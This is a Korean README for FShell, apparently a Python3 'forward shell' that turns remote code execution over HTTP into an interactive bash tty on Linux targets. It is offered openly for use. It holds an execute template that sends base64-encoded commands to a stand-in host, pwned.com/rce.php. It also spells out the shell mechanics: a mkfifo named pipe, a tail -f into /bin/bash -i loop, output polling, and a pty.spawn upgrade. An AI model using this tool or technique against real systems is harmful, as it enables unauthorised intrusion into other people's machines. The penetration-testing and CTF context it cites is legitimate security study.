
제 python3 Forward Shell 구현
FShell은 제가 구현한 Forward Shell입니다. 원격 코드 실행을 통해 스테이지리스(stageless) 프로토콜(예: HTTP)을 사용해 대화형 tty를 얻도록 설계되었습니다.
하지만 단점도 있습니다.
요청 빈도는 BEACONING_DELAY 변수를 수정하여 변경할 수 있습니다.
Python3 및 라이브러리:
현재는 Linux만 지원되며 원격 시스템에 기본적인 명령/도구가 필요합니다:
WRITABLE_FOLDER 변수를 수정하세요. /tmp에 쓸 수 없거나 더 나은 위치가 있다면(가급적 /dev/shm 사용) 변경하세요.
원격 코드 실행을 수행하려면 execute 함수를 반드시 재정의해야 합니다:
def execute(cmd, verbose=False, timeout=None):
"""
:cmd 원격 시스템에서 실행할 원시 셸 명령
:timetout 필수: 차단 실행 루프를 종료하는 데 사용됨(명명된 파이프 생성에 사용).
불가능하다면 명명된 파이프 생성을 별도 스레드에 넣으세요.
:verbose 원격 시스템에서 실행된 전체 명령 출력 (디버그 모드)
"""
# 여기에 RCE 코드를 넣으세요
r = requests.get('http://pwned.com/rce.php?cmd=%s' % (b64encode(cmd)), timeout=timeout)
return r.text.strip() # 출력이 명령의 출력뿐만 아니라면 포맷을 적용할 수 있습니다

개념은 매우 간단합니다.
먼저 원격 시스템에 명명된 파이프를 생성해야 합니다.
셸로 명령을 보내는 데 사용됩니다.
mkfifo /tmp/input.
그런 다음, 명명된 파이프를 지속적으로 읽어 대화형 bash 프로세스로 보내고 stdin과 stderr를 출력 파일로 보내는 bash 루프를 만듭니다.
tail -f /tmp/input | /bin/bash -i > /tmp/output 2>&1
[명명된 파이프 읽기] -> [명명된 파이프 내용 실행] -> [stdin/stderr를 출력 파일로 전송] -> ['-f' tail 옵션으로 인해 명명된 파이프 읽기로 돌아감]
다음 단계는 셸 출력을 얻기 위해 cat /tmp/output을 주기적으로 수행하는 python 스레드를 시작하는 것입니다.
스레드가 데이터를 찾으면 echo '' > /tmp/output을 사용하여 출력 파일 내용을 지웁니다.
팁: 존재하지 않는 파일로 인한 오류 로깅을 방지하기 위해 스크립트는 'GetOutput' 스레드를 시작하기 전에 'id' 명령을 실행하여 출력 파일을 생성합니다.
마지막 단계 중 하나는 python 스크립트에서 사용자 입력을 받아 명명된 파이프로 보내는 것입니다.echo USERCMD > /tmp/input
그리고 원격 대화형 tty를 되살리는 마지막 트릭은 'upgrade_shell' 명령입니다.
이 명령은 python -c 'import pty;pty.spawn("/bin/bash")'(및 일부 export와 aliases)를 수행하여 현재 프로세스에 실제 tty를 생성합니다(명명된 파이프 루프에서 사용됨).
@ippsec님께 감사드립니다. 이 영상 Stratosphere HTB Write Up을 보기 전까지 이런 것이 가능하다는 것을 몰랐습니다!
즐겁게 사용하시길 바랍니다!